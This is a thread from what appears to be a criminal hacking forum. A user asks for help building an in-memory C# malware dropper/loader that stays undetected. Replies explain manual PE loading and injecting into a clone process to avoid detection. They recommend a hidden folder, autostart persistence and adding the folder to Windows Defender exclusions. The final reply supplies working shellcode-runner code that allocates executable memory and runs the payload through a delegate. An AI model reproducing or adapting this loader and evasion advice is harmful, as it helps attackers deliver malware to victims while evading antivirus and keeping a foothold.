• XSS.stack #1 – первый литературный журнал от юзеров форума

Нужна помощь с дроппером (лоадером) в память. C#.

bloodcatz

RAID-массив
Пользователь
Регистрация
12.07.2023
Сообщения
59
Реакции
10
Доброе время суток!

Можете покидать тем и в целом рассказать, как делается загрузка и запуск файла в памяти, без сохранения на диск?
И есть ли уже какие-то готовые варианты, которые работают сейчас (без детектов итд)? Возможно, их нужно будет подредактировать, но всё же.

Заранее всем спасибо!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Скачиваем образ в память, парсим PE заголовок, проецируем секции, в отдельном потоке передаем управление на точку входа.
Но лучше конечно инжектить не прямо в свой процесс, а в клон своего процесса. Говорю именно клон, потому что инжектить в чужой процесс - это отдельная задача и большие трудности с обнаружением.
В сети есть миллиард триллиардов разных вариантов кода. Найдешь без проблем. Вроде того:

32 и 64 бита будут слегка отличаться.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Скачиваем образ в память, парсим PE заголовок, проецируем секции, в отдельном потоке передаем управление на точку входа.
Но лучше конечно инжектить не прямо в свой процесс, а в клон своего процесса. Говорю именно клон, потому что инжектить в чужой процесс - это отдельная задача и большие трудности с обнаружением.
В сети есть миллиард триллиардов разных вариантов кода. Найдешь без проблем. Вроде того:

32 и 64 бита будут слегка отличаться.
Но лучше конечно инжектить не прямо в свой процесс, а в клон своего процесса. Говорю именно клон, потому что инжектить в чужой процесс - это отдельная задача и большие трудности с обнаружением
Ты описываешь не инжект, а алгоритм работы обычного PE загрузчика. Почему возникнут сложности с загрузкой в свой процесс? Немного не понял. И какие трудности могут возникнуть при инжекте в чужой процесс?
 
Привет, на c# пишется такое легко, я бы порекомендовал еще сделать пару шагов, чтоб он создавал скрытую папку, куда качает, прописывал ее в автозагрузку, ну исразу сам запускал, до этого пользователь в другой теме рассказал, что еще можно вносить через код папку в исключения дефендера. Можешь тоже поискать на это ответы.
 
Привет, на c# пишется такое легко, я бы порекомендовал еще сделать пару шагов, чтоб он создавал скрытую папку, куда качает, прописывал ее в автозагрузку, ну исразу сам запускал, до этого пользователь в другой теме рассказал, что еще можно вносить через код папку в исключения дефендера. Можешь тоже поискать на это ответы.
лучше сразу вносить папку в исключение а уже после подгружать и запускать.
Так как чел просил подгрузку и запуск непосредственно в памяти без дропа на диск как вариант можно использовать такой код:

C#:
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern unsafe void RtlMoveMemory(byte* dest, byte* src, int length);

    public static string buf = ""; //Перевести программу которая будет подгружаться в память и запускаться в памяти в масив байтов и эти байты добавить в данную строку.

    static void Main(string[] args)
    {
    
    
        byte[] shellcode = Encoding.ASCII.GetBytes(buf);



        IntPtr memory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);

        unsafe
        {
            fixed (byte* shellcodePtr = shellcode)
            {
                RtlMoveMemory((byte*)memory, shellcodePtr, shellcode.Length);
            }
        }

        // Создаем делегат-функцию для запуска shellcode
        var shellcodeDelegate = (Action)Marshal.GetDelegateForFunctionPointer(memory, typeof(Action));

        // Запускаем shellcode
        shellcodeDelegate.Invoke();
    }
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх